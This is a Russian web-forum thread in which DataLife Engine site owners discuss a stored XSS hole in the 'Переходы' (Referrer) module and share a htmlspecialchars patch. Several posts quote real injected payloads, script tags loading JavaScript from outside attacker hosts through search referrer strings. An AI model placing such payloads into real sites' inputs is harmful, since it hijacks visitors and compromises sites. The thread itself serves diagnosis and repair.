Как взламывают сайты на DLE через XSS. Модуль "Переходы"

12
I
На сайте с 11.02.2010
Offline
61
6025

Сегодня сломали один сайт, узнал это благодаря Яндексу, который любезно повесил табличку "опасно" рядом с моим сайтом. Проверил все что можно. А оказалось, решение было на поверхности.

Итак, взломать можно любой сайт на DLE, где стоит модуль Referrer (Переходы).

Ответ нашел в гугле:

Все до банальнейшого просто. Вам взломали сайт используя XSS уязвимость через reffer.
Посмотрите в корлонке слева. Там есть запись "Google: rune". На самом деле ее код таков:
<strong>Google</strong></a>: <a href="/">rune<script src=http://m9cp.chat.ru/c.js></script></a>
Как можно заметить тут подключается "левый" JS, выполняемый в контексте сайта.

Тоже самое касается и "Google: pcgames":
<strong>Google</strong></a>: <a href="/">pcgames<script src=http://gtour.in/m.js></script></a>

Суть скрипта в том, что он анализирует реффер. Если реффер поисковая система, то идет перенаправление на нужный сайт с сохранением запроса.

Мораль сей басни такова, что нужно весь пользовательский ввод выводить через htmlspecialchars.

Что делать, я думаю вы поняли сами - срочно снимать модуль со своих сайтов.

PS: возможно вышел фикс модуля, не проверял

mfl
На сайте с 16.10.2006
Offline
134
mfl
#1
PS: возможно вышел фикс модуля, не проверял

Уже почти 3 месяца как вышел.

http://getdle.org.ru/dle/modules/146-modul-perehody-89-final-release.html

S2
На сайте с 26.01.2011
Offline
83
#2

Нефига неработает эта баг фикса. У меня таже проблема, посавил ее толку 0.

TA
На сайте с 12.06.2009
Offline
116
TiA
#3
itornado:
Что делать, я думаю вы поняли сами - срочно снимать модуль со своих сайтов.

Фикс вышел. А так дырка довольно интересная. Шикарная, я бы сказал. XSS в чистом виде.

Профессиональная верстка и разработка сайтов на WordPress (http://www.maultalk.com/topic139110s0.html)
RM
На сайте с 21.06.2011
Offline
77
#4

Блин народ! Кто разбирается в PHP(я) уже давно(сразу как появилась проблема) ее решили... там только три строчки добавить надо и все!

Значит, так:

Фиксим дыру...

Идем в файл engine/modules/referer.php и там перед

if (strlen($row['request']) > $confms['block_link']) $search = substr ($row['request'], 0, $confms['block_link'])."..."; else $search = $row['request'];

ставим

$row['request'] = htmlspecialchars($row['request']);

Затем ищем

$sw = $engine[$host_referer]['2']; # основа поиска запроса

и после вставляем

$request = htmlspecialchars($request);

далее идем чуть ниже и ищем

if (!$request) {

$request = urldecode($http_referer);

после вставляем

$request = htmlspecialchars($request);

Сохраняем файл и радуемся жизни!

S2
На сайте с 26.01.2011
Offline
83
#5

Самое интересное в том что данная проблема у тех у кого стоит последняя версия этого модуля 8.9. У тех у кого более ранняя версия притензии вроде бы нет ))

_Vorobey_
На сайте с 05.07.2010
Offline
70
#6

RoMaN444Ik, Спасибо. Как раз то что надо. Сейчас попробую поставить. Если все будет ок - я тебя расцелую :)

_Vorobey_ добавил 02.08.2011 в 15:11

Хм, первый переход: В Блоке ссылок видим вот что

bees<script src=http://brereg.sz3.ru/go2.js></script>

В Админке просто bees. Ошибки не в Блоке не в Админке нет. Вроде бы все окей. По поводу <script> так и должно быть? Или я своими кривыми лапами что то не так сделал. Возможно, в блоке ссылок, сам переход должен отображаться как в Админке? Т.е. просто bees.

Фан-cайт группы - «BRUTTO» (http://bruttoband.ru)
DX
На сайте с 02.08.2011
Offline
0
#7
RoMaN444Ik:
Блин народ! Кто разбирается в PHP(я) уже давно(сразу как появилась проблема) ее решили... там только три строчки добавить надо и все!

Значит, так:
Фиксим дыру...
Идем в файл engine/modules/referer.php и там перед
if (strlen($row['request']) > $confms['block_link']) $search = substr ($row['request'], 0, $confms['block_link'])."..."; else $search = $row['request'];

ставим
$row['request'] = htmlspecialchars($row['request']);

Затем ищем
$sw = $engine[$host_referer]['2']; # основа поиска запроса

и после вставляем
$request = htmlspecialchars($request);

далее идем чуть ниже и ищем
if (!$request) {

$request = urldecode($http_referer);

после вставляем
$request = htmlspecialchars($request);

Сохраняем файл и радуемся жизни!

Поставил, теперь запросы идут з ГУГЛА такого типа: downloads3Cscript20src=http:toyotapprugogogojs3E3C2Fscr - то-есть он уже скриптом не считаеться?

mfl
На сайте с 16.10.2006
Offline
134
mfl
#8

Да что вы херней страдаете?

Заходим на оф. сайт скрипта и качаем последнюю версию.

Уже 3 месяца, как известно о проблеме и её решении.

DX
На сайте с 02.08.2011
Offline
0
#9
mfl:
Да что вы херней страдаете?
Заходим на оф. сайт скрипта и качаем последнюю версию.
Уже 3 месяца, как известно о проблеме и её решении.

Вот именно что з последней версией XSS и пришло ко всем в гости, мне их решения не помогло, всеравно приходили ссылки з скриптом в адресе, вот данный метод в этом топике мне помог вроде.... Но всеравно приходят ссылки, тока без действующого скрипта....

Станислав
На сайте с 27.12.2009
Offline
237
#10

О недостаточной фильтрации уже очень давно известно.

А вобще хочу сказать, что все же дырки мы сами себе лепим, устанавливая левые модули и левые хаки. К тому же, некоторые еще и деньги платят за модуль с дыркой. ДЛЕ и так вся в дырах, а тут еще и в модах с хаками.

Мы там, где рады нас видеть.
12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий